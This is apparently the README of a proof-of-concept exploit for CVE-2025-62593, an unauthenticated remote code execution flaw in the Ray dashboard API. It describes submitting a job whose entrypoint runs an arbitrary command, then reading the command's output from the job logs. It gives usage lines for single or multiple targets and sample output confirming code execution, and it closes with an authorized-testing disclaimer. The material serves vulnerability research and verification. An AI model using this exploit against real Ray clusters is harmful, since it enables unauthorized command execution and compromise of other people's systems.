
PoC pour CVE-2025-62593 : RCE non authentifiée dans Ray (CISA KEV). Python utilisant uniquement la bibliothèque standard.
Proof-of-concept de la CVE-2025-62593, une vulnérabilité d'exécution de code à distance non authentifiée dans le moteur de calcul IA distribué Ray, exploitée via des attaques de rebinding DNS basées sur le navigateur. Elle a été ajoutée au catalogue des vulnérabilités connues et exploitées (KEV) de la CISA et est activement exploitée.
La cause racine est une décision de conception de longue date de l'équipe Ray de ne faire aucune authentification sur les points de terminaison HTTP critiques tels que /api/jobs et /api/job_agent/jobs. De ce fait, un attaquant distant non authentifié peut soumettre un job Ray dont le point d'entrée est une commande arbitraire, qui s'exécute ensuite sur le nœud principal du cluster — une exécution de code à distance complète.
Ce PoC communique directement avec l'API HTTP du tableau de bord Ray (aucun navigateur/rebinding DNS nécessaire pour démontrer le bug sous-jacent) et récupère la sortie de la commande depuis les journaux du job.
POST /api/jobs/ avec un entrypoint qui exécute votre commande et capture sa sortie standard (stdout/stderr) dans un fichier temporaire, puis en affiche le contenu.GET /api/jobs/ jusqu'à ce que le job atteigne un état terminal.GET /api/jobs/<submission_id>/logs et affiche la sortie de la commande.# Single target
python3 ray_rce_poc.py --target http://HOST:8265
# Custom command
python3 ray_rce_poc.py --target http://HOST:8265 --command "id; uname -a"
# Multiple targets from a file (one per line, '#' = comment)
python3 ray_rce_poc.py --targets targets.txt --command id
# Write a JSON summary
python3 ray_rce_poc.py --target http://HOST:8265 --output out.json
# Help
python3 ray_rce_poc.py --help
Nécessite uniquement la bibliothèque standard de Python 3 — aucune dépendance tierce.
$ python3 ray_rce_poc.py --target http://localhost:8265 --command "id; hostname"
== http://localhost:8265
Running entrypoint for job raysubmit_XXX: python -c "import os,os.path; ..."
uid=1000(ray) gid=100(users) groups=100(users),27(sudo)
05cdb1bea437
=> PASS (RCE confirmed, status: SUCCEEDED, exit code: 0)
Pour la recherche en sécurité et les tests autorisés uniquement. À n'utiliser que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. L'auteur n'est pas responsable d'une mauvaise utilisation.